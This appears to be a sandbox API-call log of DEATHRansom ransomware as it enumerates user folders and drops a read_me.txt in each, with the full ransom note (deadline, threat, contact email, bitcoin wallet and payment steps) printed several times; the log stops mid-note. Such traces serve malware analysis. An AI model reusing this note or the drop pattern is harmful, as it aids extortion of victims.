[0078.625] lstrcpyW (in: lpString1=0x41e20a8, lpString2="\\\\?\\C:\\Users\\Default\\Documents" | out: lpString1="\\\\?\\C:\\Users\\Default\\Documents") returned="\\\\?\\C:\\Users\\Default\\Documents" [0078.625] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 81 [0078.625] QueueUserWorkItem (Function=0x40a710, Context=0x41e20a8, Flags=0x0) returned 1 [0078.625] GetProcessHeap () returned 0x540000 [0078.625] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x44500d0 [0078.625] wnsprintfW (in: pszDest=0x44500d0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Documents\\*") returned 32 [0078.625] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Documents\\*", lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc288 [0078.626] lstrcpyW (in: lpString1=0x44600d8, lpString2="\\\\?\\C:\\Users\\Default\\Documents\\My Music" | out: lpString1="\\\\?\\C:\\Users\\Default\\Documents\\My Music") returned="\\\\?\\C:\\Users\\Default\\Documents\\My Music" [0078.626] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 82 [0078.626] QueueUserWorkItem (Function=0x40a710, Context=0x44600d8, Flags=0x0) returned 1 [0078.626] GetProcessHeap () returned 0x540000 [0078.626] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x44700e0 [0078.627] wnsprintfW (in: pszDest=0x44700e0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Documents\\My Music\\*") returned 41 [0078.627] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Documents\\My Music\\*", lpFindFileData=0x17ebb8 | out: lpFindFileData=0x17ebb8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x11, ftCreationTime.dwHighDateTime=0x2, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="yMvXxsiNjE.mp4眕Ꝯ眵\x17ǬT眕Ꝿ眵딠̳ƜT", cAlternateFileName="廠疙汈㧦\x17甴\x17a")) returned 0xffffffff [0078.627] wnsprintfW (in: pszDest=0x44700e0, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\Default\\Documents\\My Music\\read_me.txt") returned 51 [0078.627] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Documents\\My Music\\read_me.txt" (normalized: "c:\\users\\default\\documents\\my music\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x814 [0078.632] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0078.633] WriteFile (in: hFile=0x814, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17ee1c, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17ee1c*=0x6b3, lpOverlapped=0x0) returned 1 [0078.633] CloseHandle (hObject=0x814) returned 1 [0078.634] GetProcessHeap () returned 0x540000 [0078.634] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x44700e0 | out: hHeap=0x540000) returned 1 [0078.634] lstrcpyW (in: lpString1=0x42020b8, lpString2="\\\\?\\C:\\Users\\Default\\Documents\\My Pictures" | out: lpString1="\\\\?\\C:\\Users\\Default\\Documents\\My Pictures") returned="\\\\?\\C:\\Users\\Default\\Documents\\My Pictures" [0078.634] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 83 [0078.634] QueueUserWorkItem (Function=0x40a710, Context=0x42020b8, Flags=0x0) returned 1 [0078.634] GetProcessHeap () returned 0x540000 [0078.634] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x44700e0 [0078.634] wnsprintfW (in: pszDest=0x44700e0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Documents\\My Pictures\\*") returned 44 [0078.634] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Documents\\My Pictures\\*", lpFindFileData=0x17ebb8 | out: lpFindFileData=0x17ebb8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x11, ftCreationTime.dwHighDateTime=0x2, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="yMvXxsiNjE.mp4眕Ꝯ眵\x17ǬT眕Ꝿ眵딠̳ƜT", cAlternateFileName="廠疙汈㧦\x17甴\x17a")) returned 0xffffffff [0078.634] wnsprintfW (in: pszDest=0x44700e0, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\Default\\Documents\\My Pictures\\read_me.txt") returned 54 [0078.634] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Documents\\My Pictures\\read_me.txt" (normalized: "c:\\users\\default\\documents\\my pictures\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7ac [0078.667] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0078.667] WriteFile (in: hFile=0x7ac, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17ee1c, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17ee1c*=0x6b3, lpOverlapped=0x0) returned 1 [0078.668] CloseHandle (hObject=0x7ac) returned 1 [0078.668] GetProcessHeap () returned 0x540000 [0078.668] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x44700e0 | out: hHeap=0x540000) returned 1 [0078.674] lstrcpyW (in: lpString1=0x4150050, lpString2="\\\\?\\C:\\Users\\Default\\Documents\\My Videos" | out: lpString1="\\\\?\\C:\\Users\\Default\\Documents\\My Videos") returned="\\\\?\\C:\\Users\\Default\\Documents\\My Videos" [0078.674] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 84 [0078.674] QueueUserWorkItem (Function=0x40a710, Context=0x4150050, Flags=0x0) returned 1 [0078.674] GetProcessHeap () returned 0x540000 [0078.674] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x42820f8 [0078.675] wnsprintfW (in: pszDest=0x42820f8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Documents\\My Videos\\*") returned 42 [0078.675] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Documents\\My Videos\\*", lpFindFileData=0x17ebb8 | out: lpFindFileData=0x17ebb8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x11, ftCreationTime.dwHighDateTime=0x2, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="yMvXxsiNjE.mp4眕Ꝯ眵\x17ǬT眕Ꝿ眵딠̳ƜT", cAlternateFileName="廠疙汈㧦\x17甴\x17a")) returned 0xffffffff [0078.675] wnsprintfW (in: pszDest=0x42820f8, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\Default\\Documents\\My Videos\\read_me.txt") returned 52 [0078.675] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Documents\\My Videos\\read_me.txt" (normalized: "c:\\users\\default\\documents\\my videos\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e0 [0078.678] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0078.678] WriteFile (in: hFile=0x8e0, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17ee1c, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17ee1c*=0x6b3, lpOverlapped=0x0) returned 1 [0078.679] CloseHandle (hObject=0x8e0) returned 1 [0078.679] GetProcessHeap () returned 0x540000 [0078.679] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x42820f8 | out: hHeap=0x540000) returned 1 [0078.681] lstrcpyW (in: lpString1=0x44500d0, lpString2="\\\\?\\C:\\Users\\Default\\Downloads" | out: lpString1="\\\\?\\C:\\Users\\Default\\Downloads") returned="\\\\?\\C:\\Users\\Default\\Downloads" [0078.681] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 85 [0078.681] QueueUserWorkItem (Function=0x40a710, Context=0x44500d0, Flags=0x0) returned 1 [0078.681] GetProcessHeap () returned 0x540000 [0078.681] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x42820f8 [0078.681] wnsprintfW (in: pszDest=0x42820f8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Downloads\\*") returned 32 [0078.681] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Downloads\\*", lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc288 [0078.683] lstrcpyW (in: lpString1=0x42820f8, lpString2="\\\\?\\C:\\Users\\Default\\Favorites" | out: lpString1="\\\\?\\C:\\Users\\Default\\Favorites") returned="\\\\?\\C:\\Users\\Default\\Favorites" [0078.683] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 86 [0078.683] QueueUserWorkItem (Function=0x40a710, Context=0x42820f8, Flags=0x0) returned 1 [0078.683] GetProcessHeap () returned 0x540000 [0078.683] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x41f20b0 [0078.684] wnsprintfW (in: pszDest=0x41f20b0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\*") returned 32 [0078.684] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\*", lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc288 [0078.686] lstrcpyW (in: lpString1=0x42120c0, lpString2="\\\\?\\C:\\Users\\Default\\Favorites\\Links" | out: lpString1="\\\\?\\C:\\Users\\Default\\Favorites\\Links") returned="\\\\?\\C:\\Users\\Default\\Favorites\\Links" [0078.686] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 87 [0078.686] QueueUserWorkItem (Function=0x40a710, Context=0x42120c0, Flags=0x0) returned 1 [0078.686] GetProcessHeap () returned 0x540000 [0078.686] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x41b2090 [0078.687] wnsprintfW (in: pszDest=0x41b2090, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\Links\\*") returned 38 [0078.687] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Links\\*", lpFindFileData=0x17ebb8 | out: lpFindFileData=0x17ebb8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfeffd5f0, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0078.689] lstrcpyW (in: lpString1=0x41b2090, lpString2="\\\\?\\C:\\Users\\Default\\Favorites\\Microsoft Websites" | out: lpString1="\\\\?\\C:\\Users\\Default\\Favorites\\Microsoft Websites") returned="\\\\?\\C:\\Users\\Default\\Favorites\\Microsoft Websites" [0078.689] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 88 [0078.689] QueueUserWorkItem (Function=0x40a710, Context=0x41b2090, Flags=0x0) returned 1 [0078.689] GetProcessHeap () returned 0x540000 [0078.689] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x41c2098 [0078.689] wnsprintfW (in: pszDest=0x41c2098, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\Microsoft Websites\\*") returned 51 [0078.689] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\Microsoft Websites\\*", lpFindFileData=0x17ebb8 | out: lpFindFileData=0x17ebb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0078.695] lstrcpyW (in: lpString1=0x41c2098, lpString2="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites" | out: lpString1="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites") returned="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites" [0078.695] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 89 [0078.695] QueueUserWorkItem (Function=0x40a710, Context=0x41c2098, Flags=0x0) returned 1 [0078.695] GetProcessHeap () returned 0x540000 [0078.695] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x44800e8 [0078.695] wnsprintfW (in: pszDest=0x44800e8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\*") returned 45 [0078.695] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Favorites\\MSN Websites\\*", lpFindFileData=0x17ebb8 | out: lpFindFileData=0x17ebb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0078.701] lstrcpyW (in: lpString1=0x41f20b0, lpString2="\\\\?\\C:\\Users\\Default\\Links" | out: lpString1="\\\\?\\C:\\Users\\Default\\Links") returned="\\\\?\\C:\\Users\\Default\\Links" [0078.701] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 90 [0078.701] QueueUserWorkItem (Function=0x40a710, Context=0x41f20b0, Flags=0x0) returned 1 [0078.701] GetProcessHeap () returned 0x540000 [0078.701] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x44800e8 [0078.701] wnsprintfW (in: pszDest=0x44800e8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Links\\*") returned 28 [0078.701] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Links\\*", lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc288 [0078.708] lstrcpyW (in: lpString1=0x44700e0, lpString2="\\\\?\\C:\\Users\\Default\\Local Settings" | out: lpString1="\\\\?\\C:\\Users\\Default\\Local Settings") returned="\\\\?\\C:\\Users\\Default\\Local Settings" [0078.708] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 91 [0078.708] QueueUserWorkItem (Function=0x40a710, Context=0x44700e0, Flags=0x0) returned 1 [0078.708] GetProcessHeap () returned 0x540000 [0078.708] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x44800e8 [0078.708] wnsprintfW (in: pszDest=0x44800e8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Local Settings\\*") returned 37 [0078.708] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Local Settings\\*", lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName="RecentPlaces.lnk", cAlternateFileName="\x07")) returned 0xffffffff [0078.708] wnsprintfW (in: pszDest=0x44800e8, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\Default\\Local Settings\\read_me.txt") returned 47 [0078.708] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Local Settings\\read_me.txt" (normalized: "c:\\users\\default\\local settings\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8e0 [0078.709] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is 